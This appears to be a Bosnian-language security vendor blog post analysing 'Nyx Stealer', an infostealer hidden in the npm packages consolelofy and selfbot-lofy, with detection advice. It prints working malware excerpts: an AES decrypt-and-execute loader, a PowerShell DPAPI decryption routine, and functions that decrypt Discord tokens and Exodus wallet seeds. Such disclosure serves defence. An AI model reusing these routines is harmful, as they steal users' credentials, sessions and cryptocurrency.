TL; DR
Xygenijev tim za sigurnosna istraživanja identificirao je sofisticiranu NPM kampanju krađe informacija isporučenu putem dva zlonamjerna paketa: konzolelofy i selfbot-lofy.
Najnovija verzija (consolelofy@1.3.0) ugrađuje AES-šifrirani korisni teret od 216KB koji se dešifrira za vrijeme izvođenja i izvršava putem vm.runInNewContext()Budući da je zlonamjerna logika potpuno šifrirana, statički skeneri koji se oslanjaju na inspekciju stringova ne mogu promatrati njeno ponašanje sve do vremena izvršavanja.
Nakon dešifriranja, korisni teret, interno brendiran Kradljivac Nyx, ciljevi:
- Discord tokeni za autentifikaciju
- 50+ skladišta podataka za preglednike
- 90+ ekstenzija za kriptovalutne novčanike
- Sesije na Robloxu, Instagramu, Spotifyju, Steamu, Telegramu i TikToku
- Perzistentnost Discord desktop klijenta
Svih 20 verzija u oba paketa je prijavljeno i potvrđeno kao zlonamjerne.
Tehnički pregled ovog npm Infostealera
Za razliku od tradicionalnog zlonamjernog softvera koji se instalira prilikom instalacije, ova kampanja se oslanja na runtime model dešifriranja.
Oni su:
- Bez zlonamjernog
preinstallorpostinstallhooks - Nema očiglednih mrežnih poziva tokom instalacije
- Nema logike prikupljanja vjerodajnica u otvorenom tekstu
Korisni teret se aktivira kada se modul uveze. Cijelo zlonamjerno tijelo je šifrirano i materijalizira se u memoriji tek za vrijeme izvođenja programa.
Ovaj dizajn posebno izbjegava detekciju tokom instalacije paketa.
Kako se ovaj npm infostealer zapravo izvršava
Prije nego što analiziramo šta Nyx Stealer krade, moramo razumjeti kako se izvršava.
Zlonamjerna logika unutar ovog npm kradljivca informacija prati dosljedan obrazac:
Mali program za učitavanje dešifrira veliki šifrirani korisni teret i dinamički ga izvršava unutar konteksta Node.js VM-a.
Ovaj dizajn je namjeran. Napadač ne skriva funkcionalnost samo iza maskiranja, već potpuno uklanjanje zlonamjernog koda iz statičke vidljivosti.
Model izvršenja visokog nivoa
Na visokom nivou, omotač radi četiri stvari:
- Izvodi AES ključ iz čvrsto kodirane lozinke koristeći SHA-256
- Dešifrira veliki heksadecimalno kodirani šifrirani tekst koristeći AES-256-CBC
- Izvršava dešifrovani JavaScript koristeći
vm.runInNewContext() - Pruža sandbox koji i dalje otkriva moćne primitive za vrijeme izvođenja
Sažetak osnovne tehnike
| sastavni | Konfiguracija / Vrijednost |
|---|---|
| algoritam | AES-256-CBC |
| Izvođenje ključa | SHA-256 (lozinka) |
| Vektor inicijalizacije (IV) | 16 bajtova od 0x00 |
| izvršenje | vm.runInNewContext(dešifrirano, sandbox) |
Ključno je da pješčanik prolazi kroz:
requireprocessBuffer- tajmeri
- izvoz modula
To znači da dešifrirani korisni teret zadržava punu mogućnost da:
- Procesi mriješćenja
- Čitanje i pisanje datoteka
- Obavljajte mrežne pozive
- Izmijenite lokalne aplikacije
Ovo nije ograničena virtuelna mašina. To je virtuelna mašina koja se koristi kao trampolin za izvršavanje.
Uzorak šifriranja za vrijeme izvođenja (mehanizam osnovnog izvršavanja)
Utovarivač je mali.
Zlonamjerno tijelo nije.
Ispod je obrazac izvršavanja koji se nalazi unutar paketa:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Zašto je ovo važno
Dešifrirani korisni teret:
- Da li ne postoje u otvorenom tekstu unutar npm paketa
- Nevidljivo je za jednostavno
grepili statičko skeniranje stringova - Materijalizuje se u memoriji samo za vrijeme izvršavanja
- Izvršava se s punim Node runtime mogućnostima
Ova kombinacija izvršavanja AES + VM je snažan pokazatelj ponašanja npm infostealer pokušava izbjeći statičku inspekciju.
Drugim riječima:
Ako skenirate stablo izvornog koda paketa, nećete vidjeti kradljivca.
Vidite dekriptor.
Šta se dešava nakon dešifriranja
Nakon izvršenja, Nyx Stealer pokreće paralelne valove prikupljanja podataka.
Val 1: Ekstrakcija vjerodajnica preglednika
Zlonamjerni softver:
- Preuzima Python runtime sa NuGet CDN-a
- Instalira kriptografske biblioteke
- Izdvaja pohrane vjerodajnica zasnovane na Chromiumu
- Dešifrira DPAPI-zaštićene tajne
Umjesto kompajliranja izvornih povezivanja, koristi PowerShell za direktno pozivanje Windows DPAPI-ja.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ovaj pristup:
- Izbjegava artefakte kompilacije
- Koristi izvorne Windows kripto API-je
- Uklapa se u administrativne alate
To je dešifriranje vjerodajnica na nivou operativnog sistema, a ne struganje.
Val 2: Dešifriranje Discord tokena
Kradljivac je svjestan protokola. Razumije Discord-ov šifrirani format tokena.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Operativni tok:
- Izvucite glavni ključ iz Discord-a
Local State - Dešifriranje glavnog ključa putem DPAPI-ja
- Dešifriranje AES-GCM token blobova
- Validacija tokena putem Discord API-ja
- Obogatite Nitroom, značkama, informacijama o naplati
Ovo nije generičko dampingovanje akreditiva. To je otimanje sesije u skladu sa protokolom.
Val 3: Ciljanje kriptovalutnih novčanika
Npm infostealer nabraja:
- 90+ ekstenzija za novčanike u pregledniku
- 27 desktop novčanika
- Putevi hladnih novčanika
- Exodus sjemenske datoteke
Primjer pokušaja dešifriranja sjemena:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Ako bude uspješno, kompromitovanje novčanika je trenutno i nepovratno.
Ovo predstavlja vektor monetizacije kampanje s najvećom vrijednošću.
Perzistentnost putem Discord Desktop Injection-a
Nakon prikupljanja podataka, Nyx Stealer pokušava osigurati perzistenciju modificiranjem lokalnih podataka. Diskord kupac.
Cilj:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operativna sekvenca
Kradljivac informacija izvršava sljedeće korake:
- Završava pokrenute Discord procese
- Locira instalirane Discord varijante (Stable, Canary, PTB)
- Prepisuje
discord_desktop_core/index.js - Ubrizgava logiku webhooka koju kontrolira napadač
- Ponovno pokretanje Discorda
Ovo osigurava da buduće Discord sesije automatski propuštaju nove tokene za autentifikaciju.
Važno je napomenuti da ova perzistentnost ne zavisi od planiranih zadataka ili modifikacija registra. Koristi modifikaciju koda na nivou aplikacije, što je prikriveniji pristup.
Čak i ako se zlonamjerni npm paket kasnije ukloni, Discord klijent ostaje kompromitovan.
Tehnička usporedba: Legitimni Selfbot vs npm Infostealer
| sastavni | Legitimna biblioteka | Nyx npm kradljivac informacija |
|---|---|---|
| Encryption | nijedan | Potpuno AES-šifrirani korisni teret |
| Virtualna mašina za vrijeme izvođenja | Nije potrebno | vm.runInNewContext izvršenje |
| Pristup vjerodajnicama | Samo Discord API | Preglednik, novčanici, DPAPI |
| Vanjska preuzimanja | Ne | Izvršavanje Pythona putem NuGeta |
| upornost | Ne | Injektiranje Discord klijenta |
| monetizacije | Automatizacija botova | Preprodaja akreditiva |
Već sam sloj šifriranja odvaja ovu kampanju od tipičnog open-source forka.
Legitimni Discord selfbot nema razloga da šifrira cijelu svoju kodnu bazu, pokreće PowerShell za pristup DPAPI-ju, preuzima vanjske runtime okruženja ili modificira interne dijelove desktop aplikacija. Kada se te mogućnosti pojave unutar zavisnosti koja tvrdi da automatizira Discord interakcije, arhitektonsku neusklađenost postaje nemoguće ignorirati.
Sa stanovišta istrage, ovaj npm infostealer ostavlja tragove na više slojeva. Međutim, najpouzdaniji indikatori nisu fiksno kodirani URL-ovi ili specifične putanje datoteka, jer se oni mogu mijenjati između verzija. Umjesto toga, trajni signali su strukturni.
Na nivou paketa, najjači crveni znak je kombinacija velikog šifriranog korisnog tereta i omotača za dešifriranje tokom izvođenja koji se odmah izvršava putem vm.runInNewContext()Iako samo šifriranje nije inherentno zlonamjerno, korištenje AES dešifriranja nakon kojeg slijedi dinamičko izvršavanje VM-a unutar Discord uslužnog paketa je vrlo anomalno.
Na nivou hosta, sumnjivi obrasci uključuju neočekivanu aktivnost DPAPI dešifriranja, stvaranje procesa iz konteksta zavisnosti Node.js i modifikaciju lokalnih datoteka aplikacije koje biblioteke trećih strana nikada ne bi trebale mijenjati. Slično tome, na mrežnom sloju, komunikacija u stilu odlaznog webhooka koju inicira razvojna zavisnost predstavlja još jednu značajnu anomaliju.
Drugim riječima, površina detekcije nije pojedinačni pokazatelj kompromitacije. To je korelacija enkripcije, izvršavanja tokom rada, pristupa akreditivima i ponašanja perzistencije koja otkriva prijetnju.
Detekcija i ublažavanje uz pomoć Xygenija
Ovaj npm kradljivac informacija je identificiran od strane Xygenijev rani alarm za zlonamjerni softver (MEW) putem slojevite korelacije ponašanja, a ne jednostavnim usklađivanjem potpisa.
Umjesto traženja poznatih zlonamjernih nizova znakova, MEW procjenjuje strukturne anomalije u cijelom izvornom stablu. U ovom slučaju, detekcija je proizašla iz konvergencije nekoliko signala: ugrađene AES rutine za dešifriranje u ulaznoj tački modula, trenutnog izvršavanja unutar konteksta virtuelne mašine i jasnog neslaganja između mogućnosti i namjere.
Važno je napomenuti da nijedan od ovih signala sam po sebi ne dokazuje zlonamjernu namjeru. Međutim, kada se analiziraju zajedno, otkrivaju pokušaj prikrivanja ponašanja tokom izvođenja. Ovaj slojeviti pristup značajno smanjuje lažno pozitivne rezultate, a istovremeno identificira visoko pouzdane prijetnje lancu snabdijevanja.
Nadalje, ovaj slučaj ilustruje zašto sama inspekcija prilikom instalacije nije dovoljna. Zlonamjerna logika ne nalazi se u skriptama životnog ciklusa. Aktivira se tek nakon što se modul učita i postaje vidljiva tek nakon dešifriranja u memoriji. Stoga, efikasna odbrana zahtijeva analizu svjesnu šifriranja, prepoznavanje obrazaca ponašanja i kontinuirano praćenje zavisnosti i nakon instalacijskih događaja.
Brisanje registra je reaktivno. Analiza tokom izvršavanja je preventivna.
Zašto je ovaj npm kradljivac informacija važan
Nyx Stealer predstavlja strukturnu evoluciju zlonamjernog softvera zasnovanog na npm-u.
Historijski gledano, mnogi zlonamjerni paketi oslanjali su se na vidljive skripte za vrijeme instalacije ili očigledne krajnje tačke za krađu akreditiva. Nasuprot tome, ova kampanja šifrira svoj korisni teret, odlaže izvršenje do vremena izvođenja, koristi legitimne API-je operativnog sistema i uspostavlja perzistentnost unutar pouzdanih aplikacija.
Posljedično, napadač ne mora iskorištavati samu npm infrastrukturu. Umjesto toga, napad uspijeva jer instalacija zavisnosti podrazumijeva povjerenje. Programeri pretpostavljaju da je uvoz biblioteke sigurna operacija, posebno kada se ona predstavlja kao uvjerljiva fork popularnog alata.
Kako ekosistemi nastavljaju rasti i forkovi se šire, ta implicitna granica povjerenja postaje sve atraktivnija površina za napad. Stoga, odbrana od modernih kradljivaca informacija o npm-u zahtijeva prepoznavanje arhitektonskih obrazaca, a ne traženje statičnih stringova.
U konačnici, ova kampanja pojačava ključnu lekciju u software supply chain securityNajopasnije prijetnje nisu one koje na prvi pogled izgledaju zlonamjerno, već one koje strukturno izgledaju legitimno sve dok vrijeme izvođenja ne otkrije njihovo pravo ponašanje.




